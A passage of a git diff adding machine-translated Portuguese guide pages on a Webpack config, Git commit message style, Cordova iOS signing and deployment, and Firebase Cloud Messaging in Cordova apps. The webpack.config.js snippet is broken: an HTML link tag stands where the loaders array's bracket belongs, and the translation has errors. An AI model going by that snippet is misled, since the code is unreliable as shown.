+Ainda há mais um arquivo para escrever antes do nosso projeto estar pronto. É o arquivo de configuração do Webpack. Em primeiro lugar, os arquivos `webpack.config.js` podem ser confusos, mas muitas vezes não são tão complexos quanto parecem.
+
+Neste caso, em sua forma mais básica, um `webpack.config.js` exporta um objeto que possui as seguintes propriedades:
+
+| Propriedade | Papel |  
+| --- | --- |  
+| entrada | O que acontece: o ponto de entrada do aplicativo. Neste caso, é `src/js/client.js` . |  
+| saída | O que sai: o que o Webpack vai agregar para nós. Neste caso, é qualquer nome que `webpack.config.js` no `webpack.config.js` . |  
+| carregadores | As tarefas que o Webpack vai realizar. |
+
+Aqui está o que o arquivo `webpack.config.js` parece:
+```
+var path = require('path'); 
+ var srcPath = path.join(__dirname, 'src'); 
+ var buildPath = path.join(__dirname, 'dist'); 
+ 
+ module.exports = { 
+  context: srcPath, 
+  entry: path.join(srcPath, 'js', 'client.js'), 
+  output: { 
+      path: buildPath, 
+      filename: "bundle.js" 
+  }, 
+  module: { 
+      loaders: <a href='https://en.wikipedia.org/wiki/Don%27t_repeat_yourself' target='_blank' rel='nofollow'> 
+          { 
+            test: /\.jsx?$/, 
+            exclude: /(node_modules|bower_components)/, 
+            loader: 'babel', 
+            query: { 
+              presets: ['react', 'es2015'] 
+            } 
+          } 
+      ] 
+  } 
+ }; 
+```
+
+Novamente, vamos dividi-lo para que fique claro o que esse arquivo está fazendo:
+
+*   Em primeiro lugar, estamos exigindo o módulo `path` do NodeJS para que possamos manipular os caminhos de arquivo, o que é necessário para configurar o `context` do objeto. É muito importante usar este módulo em vez de tentar concatenar diretórios com strings, porque alguns sistemas operacionais, como o Windows, exigem isso.
+    
+*   Em seguida, especificamos um `srcPath` e um `buildPath` usando o módulo `path` que acabamos de requerer. Fazer isso garantirá que tenhamos \[código DRY e legível.
+    
+*   Agora chega a hora de escrever o objeto. As propriedades que vamos usar são todas relevantes para o Webpack.
+    
+    *   Primeiro, fornecemos um contexto, que simplesmente especifica onde está nosso aplicativo. Refere-se à variável de `context` que acabamos de criar.
+    *   Em seguida, especificamos o ponto de entrada, que é, obviamente, o aplicativo React que escrevemos anteriormente ( `src/js/client.js` ).
+    *   Em seguida, especificamos o nome do arquivo incluído que o Webpack cria quando é executado. Neste caso, é `dist/bundle.js` . Soa familiar? Deve fazer, porque este é o arquivo que estamos ligando do nosso `dist/index.html` !
+    *   Finalmente, vem a propriedade `module` , que contém uma matriz, `loaders` , que atualmente contém um único objeto. As propriedades deste objeto informam ao Webpack quais arquivos JavaScript estão sendo gravados com ES6 e React, para que seu carregador, `babel` , possa ser executado adequadamente quando o `webpack.config.js` for executado. Este é basicamente um código clichê que podemos ver na [página de readme do Babel Loader](https://github.com/babel/babel-loader) .
+
+Se `webpack.config.js` estiver confuso agora, não se preocupe, desde que você entenda o que está lá para fazer.
+
+*   [Ajuda: Mais sobre como escrever um arquivo de configuração do Webpack](https://webpack.github.io/docs/tutorials/getting-started/#config-file)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/writing-good-git-commit-messages/index.md b/client/src/guide/portuguese/miscellaneous/writing-good-git-commit-messages/index.md
new file mode 100644
index 0000000000..38ccf06cbe
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/writing-good-git-commit-messages/index.md
@@ -0,0 +1,34 @@
+---
+title: Writing Good Git Commit Messages
+localeTitle: Escrevendo boas mensagens de commit do Git
+---
+1.  Assunto separado do corpo com uma linha em branco
+2.  Limite a linha de assunto para 50 caracteres
+3.  Capitalize a linha de assunto
+4.  Não termine a linha de assunto com um período
+5.  Use o humor imperativo na linha de assunto
+6.  Enrole o corpo em 72 caracteres
+7.  Use o corpo para explicar o que e porque vs. como
+
+**Uma linha de assunto commit commit formada corretamente deve sempre poder completar a seguinte frase:**
+
+> Se aplicado, este commit será _`<<your subject line here>>`_
+
+**Por exemplo:**
+
+*   Se aplicado, este commit irá **_Refatorar o subsistema X para legibilidade_**
+*   Se aplicado, este commit **_atualizará a documentação inicial_**
+*   Se aplicado, essa confirmação **_removerá os métodos reprovados_**
+*   Se aplicado, este commit lançará a **_versão 1.0.0_**
+*   Se aplicado, essa confirmação **_mesclará solicitação de solicitação \# 123 do usuário / filial_**
+
+**Observe como isso não funciona para as outras formas não imperativas:**
+
+*   Se aplicado, este commit _corrigirá um bug com Y_
+*   Se aplicado, este commit mudará o _comportamento de X_
+*   Se aplicado, este commit vai _mais correções para coisas quebradas_
+*   Se aplicado, esse commit vai _adotar novos métodos de API_
+
+**Lembre-se: O** _uso do imperativo é importante apenas na linha de assunto. Você pode relaxar essa restrição quando estiver escrevendo o corpo._
+
+**Referência:** [http://chris.beams.io/posts/git-commit](http://chris.beams.io/posts/git-commit)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mobile-app-development/cordova-ios-application-development-setup-to-deployment/index.md b/client/src/guide/portuguese/mobile-app-development/cordova-ios-application-development-setup-to-deployment/index.md
new file mode 100644
index 0000000000..e717714878
--- /dev/null
+++ b/client/src/guide/portuguese/mobile-app-development/cordova-ios-application-development-setup-to-deployment/index.md
@@ -0,0 +1,181 @@
+---
+title: Cordova iOS Application Development Setup to Deployment
+localeTitle: Cordova iOS Application Development Setup para implantação
+---
+# Cordova iOS Application Development Setup para implantação
+
+![iphone_1737513_1920](https://image.ibb.co/iKCSuQ/Xz_J197k8_QI32.jpg)
+
+Desenvolvimento de aplicativos híbridos para o Android é uma brisa, seja para desenvolvimento ou configuração de produção, no entanto eu pessoalmente encontrar cordova iOS configuração, desenvolvimento e implantação um pouco complicado.
+
+A maioria dos desenvolvedores de aplicativos híbridos que estão no estágio de aprendizado não é capaz de explorar o processo de desenvolvimento de aplicativos iOS híbrido devido à simples razão de que eles não possuem um mac, já que o desenvolvimento de aplicativos iOS exige o iOS SDK e XCode Sistema operacional de desktop. Portanto, o objetivo deste guia é mostrar o fluxo de trabalho básico do desenvolvimento de aplicativos híbridos para iOS em um mac, para que um desenvolvedor, mesmo que não possa desenvolver aplicativos para iOS, esteja mais familiarizado com a maneira como é feito.
+
+## Criando projeto cordova
+
+Comece abrindo o terminal e criando um novo projeto cordova (use o sudo somente se você tiver problemas de permissão, isto é, erros do EACCESS):
+```
+sudo cordova create iosdemo 
+ cd iosdemo 
+ sudo cordova platform add ios 
+```
+
+No momento de escrever este guia cordova iOS versão da plataforma é: 4.3.1
+
+Não modificaremos nenhum código-fonte do aplicativo e continuaremos com o código de amostra padrão que é adicionado automaticamente pelo cordova quando executarmos o comando create. No entanto, é assumido que adicionaremos o código de modificação dos plugins na pasta `www` durante o fluxo de desenvolvimento normal.
+
+O próximo passo é executar o comando cordova build. Isso converterá nosso código de aplicativo em um arquivo .xcodeproj que usaremos a seguir.
+```
+sudo cordova build ios 
+```
+
+O arquivo do projeto Xcode gerado estará em:
+```
+[Your App Folder]/platforms/ios/[Your App Name].xcodeproj 
+```
+
+Agora, no Android, a assinatura do código é feita usando o arquivo Keystore, que está no formato .jks. No entanto, no caso do iOS para distribuição de aplicativos para iOS, é necessário que você tenha uma conta de desenvolvedor da Apple, Isso é para que possamos gerar os _Certificados_ e os _Perfis de provisionamento_ necessários para distribuir o aplicativo.
+
+Para o preço da conta do desenvolvedor, consulte [esta página](https://developer.apple.com/support/purchase-activation/)
+
+## Criando Certificados de Desenvolvimento
+
+Depois de ter a conta pronta, podemos prosseguir e fazer o login para a [conta de desenvolvedor da Apple](https://developer.apple.com/account/)
+
+A tela do painel deve ser algo como isto: ![Abertura do projeto no Xcode](https://image.ibb.co/j0d8zQ/Clipboard_image_2017_09_18_11_35_58.png)
+
+Clique em `Certificates, Identifiers & Profiles` Isso deve levar você à seguinte tela, que, por padrão, exibe Certificados emitidos de sua conta: ![Certificados, Identificadores & Perfis](https://image.ibb.co/fk8mm5/1.png)
+
+Os Certificados iOS são principalmente de dois tipos: Desenvolvimento ou Distribuição, clique no botão Mais (+) no canto superior direito da lista que abrirá a seguinte página: ![Adicionar certificado do iOS](https://image.ibb.co/dksXtk/2.png)
+
+Primeiro, vamos criar um perfil de desenvolvimento: Selecione _iOS App Development_ e clique em continuar.
+
+Isso deve levá-lo à tela seguinte, onde você é solicitado a criar e fazer o upload de um arquivo de solicitação de assinatura de certificado ou CSR. ![Carregar arquivo CSR](https://image.ibb.co/iwBE65/3.png)
+
+Siga as instruções na tela para gerá-lo e continue. Quando o certificado estiver pronto, baixe-o no seu Mac e clique duas vezes nele. Isso irá adicioná-lo ao Keychain Access no Mac. ![Baixe certificado de desenvolvimento](https://image.ibb.co/dJg6m5/4.png)
+
+## Criando Certificados de Distribuição
+
+Criar certificados de distribuição é semelhante ao processo de criação de certificados de desenvolvimento, No entanto, aqui, selecionamos a `App Store and Ad Hoc` da seção `Production` na página `Add iOS Certifcate Page`
+
+![Adicionar certificado do iOS](https://image.ibb.co/bEKFeQ/5.png)
+
+## Criando o ID do aplicativo
+
+Selecione `App IDs` da seção `Identifiers` . Isso abrirá a lista de códigos de aplicativos existentes. Em seguida, clique no botão Mais no canto superior direito (+), Isso abrirá a página _Registrar IDs do aplicativo iOS_ .
+
+![Registrar IDs de aplicativos iOS](https://image.ibb.co/iXTuOk/6.png)
+
+Selecione o código do aplicativo explícito
+
+Descrição do aplicativo pode ser qualquer nome relacionado que será exibido na lista de ID do aplicativo em relação ao ID do aplicativo específico.
+
+Um ID de aplicativo é uma string no formato _AB11A1ABCD.com.mycompany.myapp, em_ que _AB11A1ABCD_ é o prefixo do ID do aplicativo, que é, por padrão, o ID da equipe e _com.mycompany.myapp_ é o ID do pacote exclusivo para cada aplicativo. É recomendável que o ID do pacote esteja em uma string de estilo de nome de domínio reverso, por exemplo, a empresa MYCOMPANY pode ter dois aplicativos (App1 e App2), portanto, a URL http para cada aplicativo é geralmente app1.mycompany.com e app2.mycompany .com, Assim, os IDs do pacote configurável de cada aplicativo serão com.mycompany.app1 e com.mycompany.app2
+
+Em seguida, selecione todos os serviços da chceklist que você precisa usar em seu aplicativo, como notificações por push, carteira etc. Em seguida, clique em continuar e confirme os detalhes e, finalmente, registre o ID do aplicativo.
+
+## Adicionando dispositivos à conta do desenvolvedor
+
+Selecione a seção `All` partir de `Devices` , isso abrirá a lista de dispositivos já adicionados à sua conta de desenvolvedor da Apple, Apenas esses dispositivos podem executar o aplicativo durante o desenvolvimento. Para adicionar um novo dispositivo Em seguida, clique no botão Mais no canto superior direito (+) A seguinte tela será exibida: ![adicionar tela do dispositivo](https://image.ibb.co/gTmW3k/8.png)
+
+Aqui nome pode ser qualquer exemplo de nome facilmente subvirável, iPhone 5s ABC Pvt Ltd. O dispositivo UDID é o ID exclusivo associado a cada dispositivo Apple.
+
+Para encontrar o UDID de um dispositivo, siga as etapas abaixo mencionadas: 1) Conecte o dispositivo ao seu Mac. 2) Abra o aplicativo System Information localizado na pasta / Applications / Utilities. 3) Selecione USB em Hardware na coluna da esquerda. 4\_ À direita, selecione o dispositivo conectado na Árvore de dispositivos USB. O ID do dispositivo, ou "Número de série", aparece abaixo.
+
+Depois de inserir o UDID e o nome do dispositivo, clique em continuar, confirme os detalhes e registre-se.
+
+## Criando perfil de provisionamento de desenvolvimento
+
+Para criar um perfil de provisionamento de desenvolvimento, clique em Perfis de provisionamento -> Todos Isso deve mostrar todos os perfis, desenvolvimento e distribuição. Em seguida, clique no botão Mais no canto superior direito (+) Isso deve mostrar a seguinte página: ![Criando um perfil de fornecimento de desenvolvimento](https://image.ibb.co/dk3KOk/7.png)
+
+Aqui selecione `iOS App Development` e clique em continuar. Na lista suspensa exibida, selecione o ID do aplicativo que criamos anteriormente e continue.
+
+Próximo Uma lista de lista de verificação de certificados é exibida a partir da qual podemos selecionar um ou vários. Estes são certificados de desenvolvimento e não de distribuição. O perfil de fornecimento gerado será vinculado a esses certificados.
+
+Ao clicar em continuar, uma lista de verificação de dispositivos é exibida, selecione um, múltiplos ou todos. Apenas os dispositivos selecionados poderão executar o aplicativo usando este perfil de provisionamento.
+
+Em seguida, clique em continuar, digite o nome do perfil de provisionamento e faça o download do arquivo .mobileprovision gerado.
+
+## Criando perfil de provisionamento de distribuição ad hoc
+
+Este processo é o mesmo que Criação de Perfil de Desenvolvimento
+
+## Criando perfil de provisionamento de distribuição da AppStore
+
+Esse processo é o mesmo que Criação de Perfil de Desenvolvimento, exceto que não selecionamos dispositivos, pois o aplicativo estará disponível publicamente por meio da AppStore.
+
+Agora que temos tudo o que precisamos, podemos continuar gerando o ipa real usando o Xcode.
+
+_Nota: O comando cordova build converte nosso código de aplicativo para o projeto xcode, usando o Xcode criamos um arquivo .ipa que é o aplicativo real a ser instalado._
+
+* * *
+
+Antes de avançar duplo toque em ambos os Certificados para adicioná-los ao chaveiro
+
+## Continuando no Xcode
+
+Em seguida, toque duas vezes no arquivo .xcodeproj que deve abri-lo no Xcode. (Por favor, use a versão mais recente do Xcode, eu usei o Xcode 8.3.2)
+
+![Abertura do projeto no Xcode](https://image.ibb.co/mPdGKQ/Screen_Shot_2017_09_18_at_11_06_55_AM.png) A tela do Xcode deve ser algo como isso.
+
+Clique no nome do aplicativo no canto superior esquerdo da janela, isso abrirá a exibição detalhada no lado direito. ![Configurações do projeto](https://image.ibb.co/fqb3ZQ/Screen_Shot_2017_09_18_at_5_07_53_PM.png)
+
+Em seguida, clique em Destinos -> Nome do aplicativo
+
+![alvos](https://image.ibb.co/i0znTk/Screen_Shot_2017_09_18_at_5_11_28_PM.png)
+
+Isso exibirá a seguinte guia de detalhes: ![detalhes do alvo](https://image.ibb.co/ksBj8k/Screen_Shot_2017_09_18_at_5_15_29_PM.png)
+
+Clik em geral, que deve exibir: ![Detalhes Gerais](https://image.ibb.co/k8KFEQ/Screen_Shot_2017_09_18_at_5_18_29_PM.png)
+
+Desmarque a caixa de seleção Gerenciar assinatura automaticamente
+
+Isso deve exibir o seguinte erro, declarando que o AppNAme requer o perfil de provisionamento ![erro de perfil](https://image.ibb.co/mDq5EQ/Screen_Shot_2017_09_18_at_5_20_35_PM.png)
+
+Em seguida, em Assinatura (Depuração) Clique no menu suspenso Perfil de provisionamento e selecione a opção de _perfil impot_ . Na caixa de diálogo de seleção de arquivos que aparece, navegue até o caminho em que o perfil de provisionamento de desenvolvimento foi baixado e selecione-o. Ele terá uma extensão de _.mobileprovision_
+
+Após a seleção, o erro deve ser eliminado e ele deve mostrar a Equipe como o nome da equipe na conta do Apple eveloper e o Nome do certificado de assinatura.
+
+Faça o mesmo para a seção Assinatura (Release), no entanto, na caixa de diálogo de seleção de arquivo, selecione o perfil de distribuição Ad Hoc.
+
+Agora que as etapas de assinatura do Código estão concluídas,
+
+*   executar o aplicativo diretamente no dispositivo
+*   execute o aplicativo em um simulador
+*   gerar um arquivo ipa para distribuição
+*   fazer o upload do aplicativo para o appstore
+
+## Executando o aplicativo diretamente no dispositivo
+
+Para executar o aplicativo no dispositivo, conecte o dispositivo ao Mac via USB. em seguida, no canto superior esquerdo da lista de dispositivos, selecione o dispositivo conectado e clique no botão executar ou reproduzir (botão triangular preto) ![executar dispositivo](https://image.ibb.co/k4xo15/Screen_Shot_2017_09_18_at_5_34_14_PM.png) ![executar dispositivo](https://image.ibb.co/hjzhuQ/Screen_Shot_2017_09_18_at_5_36_55_PM.png)
+
+O status da compilação será exibido na barra de status na parte superior da janela. Se tudo correr bem, o aplicativo deve ser instalado no dispositivo e carregado automaticamente em um tempo.
+
+## Executando o aplicativo em um simulador
+
+As etapas são as mesmas que em execução no dispositivo, mas, em vez de um dispositivo real, usamos os simuladores disponíveis para iPhone e iPad da lista de dispositivos.
+
+## Gere um arquivo ipa para distribuição
+
+Essa abordagem pode ser feita no caso de você precisar distribuir o aplicativo para a equipe de teste, etc. No entanto, o dispositivo usado por eles deve ter um UDID presente no perfil de provisionamento.
+
+No menu Xcode, selecione `Product` -> `Clean` , Então `Product` -> `Archive` , O organizador Archives aparece e exibe o novo arquivo. ![organizador do arquivo ios](https://image.ibb.co/iunfMG/6_ios_archive_organizer_2x.png) No painel lateral direito, selecione a opção Exportar, todos os optios serão exibidos.
+
+Para distribuir seu aplicativo para usuários com dispositivos designados, selecione "Salvar para implantação ad hoc". O aplicativo será assinado com o certificado de distribuição.
+
+Para distribuir seu aplicativo para testes internos, selecione "Salvar para implantação de desenvolvimento". O aplicativo será código assinado com seu certificado de desenvolvimento. ![Exportação do organizador do arquivo ios como ad hoc](https://image.ibb.co/jQJLMG/6_ios_createappstorepackage_1_2x.png)
+
+Na caixa de diálogo exibida, escolha uma equipe no menu pop-up e clique em Escolher. ![equipe de seleção de exportação ios](https://image.ibb.co/gH2VMG/6_ios_export_choose_team_2x.png)
+
+Em seguida, a caixa de diálogo de seleção de dispositivos aparece Selecione _Todos os dispositivos_ ou _dispositivos específicos_ clique em próximo.
+
+Em seguida, a caixa de diálogo de revisão é exibida, Aqui ele mostrará o certificado de assinatura e o perfil de aprovisionamento usado para gerar a compilação. Revise e clique em próximo. Finalmente, o arquivo salvar como pop-up é exibido para selecionar o local no sistema de arquivos para armazenar o arquivo do aplicativo exportado.
+
+O aplicativo é exportado como arquivo \`\` .ipa\`\`\`.
+
+Para executar este arquivo no dispositivo, basta tocar duas vezes nele, que será aberto no iTunes.
+
+Em seguida, conecte seu dispositivo (isso deve mostrar um pequeno ícone de dispositivo no canto superior esquerdo da janela do iTunes) tocar nele mostrará o resumo do dispositivo, como aplicativos, músicas, etc., no dispositivo. Selecione o separador apps no painel esquerdo, selecione o aplicativo a ser instalado e clique em instalar. Aguarde o processo ser concluído e clique em aplicar, Isso deve instalar o arquivo ipa no seu dispositivo.
+
+Para depurar o aplicativo: 1) safari aberto, 2) abra o aplicativo no dispositivo 3) Na barra de menus do Safari, selecione `Develop --> Your Device Name --> Your App` .
+
+## Isso é tudo, pessoal !!!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mobile-app-development/firebase-cloud-messaging-integration-for-cordova-hybrid-apps/index.md b/client/src/guide/portuguese/mobile-app-development/firebase-cloud-messaging-integration-for-cordova-hybrid-apps/index.md
new file mode 100644
index 0000000000..08e21784f9
--- /dev/null
+++ b/client/src/guide/portuguese/mobile-app-development/firebase-cloud-messaging-integration-for-cordova-hybrid-apps/index.md
@@ -0,0 +1,279 @@
+---
+title: Firebase Cloud Messaging Integration for Cordova Hybrid Apps
+localeTitle: Integração do Firebase Cloud Messaging para aplicativos híbridos Cordova
+---
+## Integração do Firebase Cloud Messaging para aplicativos híbridos Cordova
+
+Este é um passo básico básico sobre como implementar a notificação de envio no Android, bem como iOS usando o [plugin cordova para fcm](https://github.com/fechanique/cordova-plugin-fcm) e Google Firebase FCM a partir do zero. Eu vou estar usando o Ubuntu 16.04 LTS para isso, mas o sistema operacional usado para desenvolvimento não deve importar muito.
+
+## Integração do FCM para aplicativos híbridos do Cordova
+
+### Implementação Android
+
+Criar uma pasta vazia pushSample
+```
+cd '/opt/lampp/htdocs' 
+ mkdir pushSample 
+ cd pushSample 
+ cordova create pushSample 
+ cd pushSample 
+ cordova platform add android 
+ cordova plugin add cordova-plugin-FCM 
+```
+
+Ao adicionar o plug-in cordova FCM, será exibido um erro:
+```
+Error: cordova-plugin-fcm: You have installed platform android but file 'google-services.json' was not found in your Cordova project root folder. 
+```
+
+Observação: isso acontece porque não adicionamos o arquivo google-services.json que precisa ser criado nas próximas etapas a seguir.
+
+Em seguida, abra o [console](https://console.firebase.google.com/) do [Google Firebase](https://console.firebase.google.com/) e adicione o projeto (basicamente significa criar um novo projeto)
+
+Uma vez que o projeto é criado, clique na seção Notificações no painel do lado esquerdo.
+
+Agora clique no ícone do Android para adicionar suporte à plataforma **Android** ao nosso projeto.
+
+No formulário seguinte, preencha os detalhes da seguinte forma: **Nome do pacote Android: o** nome ou o ID do pacote é o identificador exclusivo de um aplicativo na loja de jogos. Observe que é um valor muito importante que não pode ser alterado para um aplicativo depois que ele é enviado para a loja de jogos. Ele estará na sintaxe do nome de domínio reverso: por exemplo, hello.pushSample.com terá o ID do aplicativo: com.pushSample.hello. Também no arquivo **config.xml** no seu projeto cordova, defina o mesmo ID do aplicativo. Para o nosso projeto de amostra, estará em: pushSample / pushSample / config.xml por exemplo, para mim, o conteúdo deste arquivo é:
+
+```xml
+<?xml version='1.0' encoding='utf-8'?> 
+ <widget id="io.cordova.hellocordova" version="1.0.0" xmlns="http://www.w3.org/ns/widgets" xmlns:cdv="http://cordova.apache.org/ns/1.0"> 
+    <name>HelloCordova</name> 
+    <description> 
+        A sample Apache Cordova application that responds to the deviceready event. 
+    </description> 
+    <author email="dev@cordova.apache.org" href="http://cordova.io"> 
+        Apache Cordova Team 
+    </author> 
+    <content src="index.html" /> 
+    <plugin name="cordova-plugin-whitelist" spec="1" /> 
+    <access origin="*" /> 
+    <allow-intent href="http://*/*" /> 
+    <allow-intent href="https://*/*" /> 
+    <allow-intent href="tel:*" /> 
+    <allow-intent href="sms:*" /> 
+    <allow-intent href="mailto:*" /> 
+    <allow-intent href="geo:*" /> 
+    <platform name="android"> 
+        <allow-intent href="market:*" /> 
+    </platform> 
+    <platform name="ios"> 
+        <allow-intent href="itms:*" /> 
+        <allow-intent href="itms-apps:*" /> 
+    </platform> 
+ </widget> 
+```
+
+Observe a tag
+
+```xml
+<widget id="io.cordova.hellocordova" version="1.0.0" xmlns="http://www.w3.org/ns/widgets" xmlns:cdv="http://cordova.apache.org/ns/1.0"> 
+```
+
+Aqui, o atributo id é o **id** pacote que por padrão será **io.cordova.hellocordova** alterá-lo para o ID do aplicativo que você tenha especificado no console firebase. Eu estarei usando com.pushSample.hello
+
+O próximo campo a ser preenchido no pop-up do console do Firebase é:
+
+**Apelido App (opcional):** Este pode ser o mesmo nome do aplicativo que é exibido no menu para o aplicativo, isso também pode ser alterado no config.xml, por padrão, será HelloCordova, vou atualizá-lo para **PushSample**
+
+**Certificado de assinatura de depuração SHA-1 (opcional):** Isto é opcional, por favor deixe em branco.
+
+Em seguida, clique em **Registrar App**
+
+O próximo passo é fazer o download do arquivo **json** do **google services** .
+
+![baixar google services json](https://preview.ibb.co/nEjbwv/1_Wje_TClf8o9z_Dxw3_W_wkpw.png)
+
+Clique no botão **Download google-services.json** , que deve baixar o arquivo para o seu PC.
+
+Depois de obter o arquivo, cole-o na pasta raiz do seu projeto cordova, no meu caso:
+```
+/opt/lampp/htdocs/pushSample/pushSample 
+```
+
+Em seguida, construa o projeto
+```
+cordova build android 
+```
+
+Depois de adicionar o arquivo google-services.json, ele deve ser criado com sucesso.
+
+Em seguida, temos que escrever o código do lado do cliente para lidar com notificações push:
+
+```js
+FCMPlugin.getToken(function(token) { 
+    //this is the FCM token which can be used 
+    //to send notification to specific device 
+    console.log(token); 
+    //FCMPlugin.onNotification( onNotificationCallback(data), successCallback(msg), errorCallback(err) ) 
+    //Here you define your application behaviour based on the notification data. 
+    FCMPlugin.onNotification(function(data) { 
+        console.log(data); 
+        //data.wasTapped == true means in Background :  Notification was received on device tray and tapped by the user. 
+        //data.wasTapped == false means in foreground :  Notification was received in foreground. Maybe the user needs to be notified. 
+        // if (data.wasTapped) { 
+        //     //Notification was received on device tray and tapped by the user. 
+        //     alert(JSON.stringify(data)); 
+        // } else { 
+        //     //Notification was received in foreground. Maybe the user needs to be notified. 
+        //     alert(JSON.stringify(data)); 
+        // } 
+    }); 
+ }); 
+```
+
+O código basicamente chama a função **getToken** para obter um token FCM do Firebase e, em seguida, no retorno de chamada, registra outro retorno de chamada **onNotification** para lidar com o que acontece quando uma notificação por push é recebida.
+
+a função **onNotification** possui um valor de dados que contém os dados de notificação. data.wasTapped indica se a notificação é enviada quando o aplicativo está em primeiro plano ou em segundo plano, para que possamos definir lógica separada para cada caso. Agora, para acionar uma notificação por push de amostra, clique na seção Notificação no painel do lado esquerdo. Agora, isso deve mostrar o compositor de notificação do Firebase, mostrando a lista de notificações enviadas anteriormente.
+
+Caso você não tenha enviado nenhuma notificação push ainda. Você deve ver um botão **enviar sua primeira notificação** .
+
+**Nota:** O Notification Composer ficará assim:
+
+![envie sua primeira notificação](https://preview.ibb.co/b4qc3a/1_s_W2_Ad_QJz_JEFjto6rz1_8r_A.png)
+
+Nota Ao enviar uma notificação por push usando o firebase console, é necessário selecionar o nome do aplicativo **com.pushSample.hello** no meu caso.
+
+Para enviar os dados específicos do aplicativo personalizado, selecione as opções avançadas -> Pares de valores-chave.
+
+![opções avançadas](https://preview.ibb.co/ensbUF/1_qp9_Mz_XBZvn_PYawyo0_TQBRA.png)
+
+O objeto de dados no retorno de chamada onNotification terá a seguinte aparência
+
+```js
+{myKey2: "valuefor2", myKey: "valuefor1", wasTapped: false} 
+```
+
+Observe também ao enviar notificações por push usando APIs REST do seu servidor de aplicativos em vez do compositor de notificação do Firebase. É necessário usar a seguinte sintaxe:
+
+```js
+//POST: https://fcm.googleapis.com/fcm/send 
+ //HEADER: Content-Type: application/json 
+ //HEADER: Authorization: key=AIzaSy******************* 
+ { 
+  "notification":{ 
+    "title":"Notification title", 
+    "body":"Notification body", 
+    "sound":"default", 
+    "click_action":"FCM_PLUGIN_ACTIVITY", 
+    "icon":"fcm_push_icon" 
+  }, 
+  "data":{ 
+    "param1":"value1", 
+    "param2":"value2" 
+  }, 
+    "to":"/topics/topicExample", 
+    "priority":"high", 
+    "restricted_package_name":"" 
+ } 
+ //sound: optional field if you want sound with the notification 
+ //click_action: must be present with the specified value for Android 
+ //icon: white icon resource name for Android >5.0 
+ //data: put any "param":"value" and retreive them in the JavaScript notification callback 
+ //to: device token or /topic/topicExample 
+ //priority: must be set to "high" for delivering notifications on closed iOS apps 
+ //restricted_package_name: optional field if you want to send only to a restricted app package (ie: com.myapp.test) 
+```
+
+**Observação: " _ação de_ clique _": campo "FCM_ PLUGIN\_ACTIVITY"** é muito importante, pois não mencionar que não executará o retorno de chamada onNotification no modo de primeiro plano.
+
+![feito com implementação android](https://image.ibb.co/gRS1UF/0_QIzc_JZH9_Nqzpjygg.jpg)
+
+### Implementação iOS
+
+Para a implementação do iOS, precisaremos que as seguintes informações sejam geradas na [página do desenvolvedor](https://developer.apple.com/) da [Apple.](https://developer.apple.com/) Eu estou usando o XCODE 8.3
+
+ID do aplicativo: com.example.app Chave de Autenticação de Notificação Push da Apple (Chave de Autenticação de APNs) Perfil de provisionamento de desenvolvimento com notificações push ativadas. Certificados de APNs
+
+Além disso, os [documentos do Firebase para notificações push](https://firebase.google.com/docs/cloud-messaging/ios/client) são um excelente ponto de partida de profundidade.
+
+Nota: Você não pode executar notificações push no simulador, você precisará de um dispositivo real.
+
+Vamos começar.
+
+Primeiro, faça login no console do desenvolvedor do Firebase e selecione um projeto existente ou crie um novo projeto. Usaremos o mesmo projeto pushSample. Na visão geral do projeto, adicione outro aplicativo com iOS como plataforma. No pop-up que aparece, insira os seguintes detalhes:
+
+*   Passo 1 **ID do pacote:** este é o identificador exclusivo que é usado para identificar um aplicativo no appstore da Apple. Isso deve ser o mesmo que o ID do pacote que você especificar no arquivo config.xml do projeto cordova ou na seção ID do pacote no xCode. vamos usar **com.pushSample.hello** **Nome do aplicativo** : Este é o nome do apelido do identificador de opção. Usaremos o mesmo nome que será exibido no menu do aplicativo iOS, que é o PushSample. **ID da App Store** : deixe em branco.
+
+Depois de clicar no aplicativo de registro, a etapa 2 do aplicativo para iOS é exibida.
+
+*   Passo 2 Clique aqui no botão de download do **Googleservice-info.plist** para baixar o arquivo que usaremos nas etapas posteriores.
+
+**Passo 3 e Passo 4** podemos pular como estes serão tratados internamente pelo plug-in cordova FCM.
+
+Depois que o aplicativo para iOS for adicionado ao seu projeto, clique no ícone de roda dentada, além da etiqueta de visão geral, no painel do lado esquerdo, e selecione as configurações do projeto. (Consulte a imagem abaixo). Por padrão, isso deve abrir a guia Geral das configurações do seu projeto.
+
+![Configurações do projeto](https://preview.ibb.co/ddcwwv/1_c_Pee_Xdmf76l_W0_YRr_I83_Log.png)
+
+Em seguida, clique no seu aplicativo para iOS em Seus aplicativos -> Aplicativos para iOS. Nos detalhes do aplicativo iOS, atualize o **Prefixo de ID** do **aplicativo** , cujo valor você obterá no Apple Member Center, na guia de associação.
+
+Agora mude para a guia **Cloud Messaging** -> seção de configuração do aplicativo iOS.
+
+![mensagens em nuvem](https://preview.ibb.co/m2Ktbv/1_0p_Vvf_JGYb_TEUIhwr_DIek_Q.png)
+
+Aqui, conforme discutido anteriormente, carregue a chave de autenticação de APNs gerada no centro de membros da Apple. Em seguida, fazemos a configuração do aplicativo no lado do cliente. Crie uma nova pasta sampleApp em sua pasta de desenvolvimento, para mim é
+```
+/Volumes/Development/ 
+```
+
+então a nova pasta será
+```
+/Volumes/Development/pushSample 
+ cd /Volumes/Development/pushSample 
+```
+
+Crie um novo projeto cordova, **Nota: Use sudo se necessário**
+```
+cordova create pushSample 
+ cd pushSample 
+```
+
+Agora adicione a última plataforma iOS
+```
+sudo cordova platform add ios 
+```
+
+Agora cole o arquivo **Googleservice-info.plist que baixamos** anteriormente na pasta raiz do projeto cordova, para mim é
+```
+/Volumes/Development/pushSample/pushSample 
+```
+
+adicione o plugin cordova fcm.
+```
+cordova plugin add cordova-plugin-fcm 
+```
+
+Atualize o ID do aplicativo padrão e o nome do aplicativo com o ID do pacote que decidimos anteriormente ao configurar o Firebase console e o nome do aplicativo.
+
+```xml
+<widget id="com.pushSample.hello" version="1.0.0" xmlns="http://www.w3.org/ns/widgets" xmlns:cdv="http://cordova.apache.org/ns/1.0"> 
+    <name>PushSample</name> 
+```
+
+Neste ponto, o código de amostra terá um arquivo app.js, que você pode modificar e adicionar as funções getToken e onNotification da mesma forma que o Android. O código javascript é o mesmo para ambas as plataformas.
+
+Próxima execução do comando cordova build
+```
+sudo cordova build ios 
+```
+
